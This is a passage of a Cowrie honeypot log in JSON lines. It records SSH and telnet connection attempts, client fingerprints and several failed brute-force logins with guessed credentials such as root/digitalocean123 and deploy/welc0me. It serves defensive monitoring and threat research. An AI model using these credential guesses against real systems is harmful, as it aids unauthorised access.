d25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:15.309281Z","src_ip":"43.165.185.71","session":"2cf5daf0218a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"digitalocean123","message":"login attempt [root/digitalocean123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:16.083421Z","src_ip":"43.165.185.71","session":"2cf5daf0218a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf4f69ea7f54","protocol":"telnet","message":"New connection: 68.183.198.12:50904 (159.203.135.109:23) [session: cf4f69ea7f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:16.688681Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:17.277510Z","src_ip":"43.165.185.71","session":"2cf5daf0218a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.65200352668762,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:19.888644Z","src_ip":"68.183.198.12","session":"62540b649abf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":91.68979239463806,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:27.569021Z","src_ip":"64.227.101.30","session":"2a1d830f3350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52948,"dst_ip":"159.203.135.109","dst_port":23,"session":"c684ae71cf0a","protocol":"telnet","message":"New connection: 68.183.198.12:52948 (159.203.135.109:23) [session: c684ae71cf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:27.664448Z"}
{"eventid":"cowrie.session.closed","duration":50.3665087223053,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:29.542942Z","src_ip":"68.183.198.12","session":"ed6dabf1c11d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8577f43acf6","protocol":"telnet","message":"New connection: 64.227.101.30:38308 (10.17.0.5:23) [session: d8577f43acf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:30.827227Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39462,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7d47818c91","protocol":"telnet","message":"New connection: 64.227.101.30:39462 (10.17.0.5:23) [session: ec7d47818c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:30.883565Z"}
{"eventid":"cowrie.session.closed","duration":39.893765926361084,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:31.161370Z","src_ip":"64.227.101.30","session":"1d63f7a8f052","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38564,"dst_ip":"10.17.0.5","dst_port":23,"session":"89b3967d2762","protocol":"telnet","message":"New connection: 64.227.101.30:38564 (10.17.0.5:23) [session: 89b3967d2762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:31.836051Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40536,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c65f6876f27","protocol":"telnet","message":"New connection: 64.227.101.30:40536 (10.17.0.5:23) [session: 2c65f6876f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:34.707245Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41800,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a605e29001","protocol":"telnet","message":"New connection: 64.227.101.30:41800 (10.17.0.5:23) [session: e3a605e29001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:35.569914Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42118,"dst_ip":"10.17.0.5","dst_port":23,"session":"13f274dca2cc","protocol":"telnet","message":"New connection: 64.227.101.30:42118 (10.17.0.5:23) [session: 13f274dca2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:39.627064Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42788,"dst_ip":"10.17.0.5","dst_port":23,"session":"133bdc6257fa","protocol":"telnet","message":"New connection: 64.227.101.30:42788 (10.17.0.5:23) [session: 133bdc6257fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:39.736379Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43226,"dst_ip":"10.17.0.5","dst_port":23,"session":"293c09c05899","protocol":"telnet","message":"New connection: 64.227.101.30:43226 (10.17.0.5:23) [session: 293c09c05899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:42.953445Z"}
{"eventid":"cowrie.session.closed","duration":42.90197467803955,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:46.277863Z","src_ip":"68.183.198.12","session":"a2f967d5ef92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45230,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b8c33e394c","protocol":"telnet","message":"New connection: 64.227.101.30:45230 (10.17.0.5:23) [session: 59b8c33e394c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:46.521045Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":51614,"dst_ip":"10.17.0.5","dst_port":22,"session":"49fbaf7274d1","protocol":"ssh","message":"New connection: 78.40.217.56:51614 (10.17.0.5:22) [session: 49fbaf7274d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:50.095366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:50.100329Z","src_ip":"78.40.217.56","session":"49fbaf7274d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:50.244615Z","src_ip":"78.40.217.56","session":"49fbaf7274d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46790,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d781b2ab84c","protocol":"telnet","message":"New connection: 64.227.101.30:46790 (10.17.0.5:23) [session: 1d781b2ab84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:50.353287Z"}
{"eventid":"cowrie.session.closed","duration":120.00149965286255,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:50.453058Z","src_ip":"64.227.101.30","session":"4c9fd5f5c214","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lw123456.","message":"login attempt [root/Lw123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:50.849088Z","src_ip":"78.40.217.56","session":"49fbaf7274d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:51.994430Z","src_ip":"78.40.217.56","session":"49fbaf7274d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.713526010513306,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:01.402067Z","src_ip":"68.183.198.12","session":"cf4f69ea7f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52806,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a37d50f7511","protocol":"telnet","message":"New connection: 64.227.101.30:52806 (10.17.0.5:23) [session: 3a37d50f7511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:04.434030Z"}
{"eventid":"cowrie.session.closed","duration":29.895013332366943,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:04.602118Z","src_ip":"64.227.101.30","session":"2c65f6876f27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40768,"dst_ip":"10.17.0.5","dst_port":23,"session":"78691cc3599a","protocol":"telnet","message":"New connection: 64.227.101.30:40768 (10.17.0.5:23) [session: 78691cc3599a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:04.868633Z"}
{"eventid":"cowrie.session.closed","duration":0.7602972984313965,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:05.628819Z","src_ip":"64.227.101.30","session":"78691cc3599a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.45763635635376,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:07.284733Z","src_ip":"64.227.101.30","session":"d8577f43acf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53244,"dst_ip":"10.17.0.5","dst_port":23,"session":"821e206e0cac","protocol":"telnet","message":"New connection: 64.227.101.30:53244 (10.17.0.5:23) [session: 821e206e0cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:07.467554Z"}
{"eventid":"cowrie.session.closed","duration":40.86467480659485,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:08.528978Z","src_ip":"68.183.198.12","session":"c684ae71cf0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":37102,"dst_ip":"10.17.0.5","dst_port":22,"session":"d712b2ce6f9d","protocol":"ssh","message":"New connection: 43.165.185.71:37102 (10.17.0.5:22) [session: d712b2ce6f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:09.181151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:09.186276Z","src_ip":"43.165.185.71","session":"d712b2ce6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":59618,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a1edd28f6a","protocol":"telnet","message":"New connection: 68.183.198.12:59618 (159.203.135.109:23) [session: 90a1edd28f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:09.205912Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:09.355777Z","src_ip":"43.165.185.71","session":"d712b2ce6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54284,"dst_ip":"10.17.0.5","dst_port":23,"session":"d402dc89c753","protocol":"telnet","message":"New connection: 64.227.101.30:54284 (10.17.0.5:23) [session: d402dc89c753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:09.840431Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"welc0me","message":"login attempt [deploy/welc0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:10.072351Z","src_ip":"43.165.185.71","session":"d712b2ce6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.10957622528076,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:10.945496Z","src_ip":"64.227.101.30","session":"89b3967d2762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:11.244253Z","src_ip":"43.165.185.71","session":"d712b2ce6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":47702,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db036eaf236","protocol":"ssh","message":"New connection: 94.156.152.18:47702 (10.17.0.5:22) [session: 4db036eaf236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:11.747066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:11.757098Z","src_ip":"94.156.152.18","session":"4db036eaf236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:11.879468Z","src_ip":"94.156.152.18","session":"4db036eaf236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"YOGZVPS#2VCPU2GB","message":"login attempt [root/YOGZVPS#2VCPU2GB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:12.249594Z","src_ip":"94.156.152.18","session":"4db036eaf236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57298,"dst_ip":"10.17.0.5","dst_port":23,"session":"4518b29595b4","protocol":"telnet","message":"New connection: 64.227.101.30:57298 (10.17.0.5:23) [session: 4518b29595b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:12.897345Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:13.374023Z","src_ip":"94.156.152.18","session":"4db036eaf236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59710,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ff1b01a29b","protocol":"telnet","message":"New connection: 64.227.101.30:59710 (10.17.0.5:23) [session: 70ff1b01a29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:17.724862Z"}
{"eventid":"cowrie.session.closed","duration":48.07722568511963,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:18.960671Z","src_ip":"64.227.101.30","session":"ec7d47818c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":33308,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8937cdf053f","protocol":"telnet","message":"New connection: 68.183.198.12:33308 (159.203.135.109:23) [session: f8937cdf053f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:20.200923Z"}
{"eventid":"cowrie.session.closed","duration":45.77238178253174,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:21.342182Z","src_ip":"64.227.101.30","session":"e3a605e29001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60846,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98ca146724e","protocol":"telnet","message":"New connection: 64.227.101.30:60846 (10.17.0.5:23) [session: a98ca146724e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:21.917868Z"}
{"eventid":"cowrie.session.closed","duration":39.8750433921814,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:22.828379Z","src_ip":"64.227.101.30","session":"293c09c05899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":72.9016010761261,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:24.010080Z","src_ip":"64.227.101.30","session":"a10d0bf02f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.23601841926575,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:24.757003Z","src_ip":"64.227.101.30","session":"59b8c33e394c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36452,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15081d51544","protocol":"telnet","message":"New connection: 64.227.101.30:36452 (10.17.0.5:23) [session: a15081d51544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:26.883987Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36014,"dst_ip":"10.17.0.5","dst_port":23,"session":"81e1ecaae41f","protocol":"telnet","message":"New connection: 64.227.101.30:36014 (10.17.0.5:23) [session: 81e1ecaae41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:27.035925Z"}
{"eventid":"cowrie.session.closed","duration":39.544086933135986,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:29.897277Z","src_ip":"64.227.101.30","session":"1d781b2ab84c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42944,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a51ed1f20c8","protocol":"telnet","message":"New connection: 64.227.101.30:42944 (10.17.0.5:23) [session: 1a51ed1f20c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:38.265111Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":35762,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae62bfea7c9e","protocol":"ssh","message":"New connection: 78.40.217.56:35762 (10.17.0.5:22) [session: ae62bfea7c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:39.789920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:32:39.794010Z","src_ip":"78.40.217.56","session":"ae62bfea7c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecd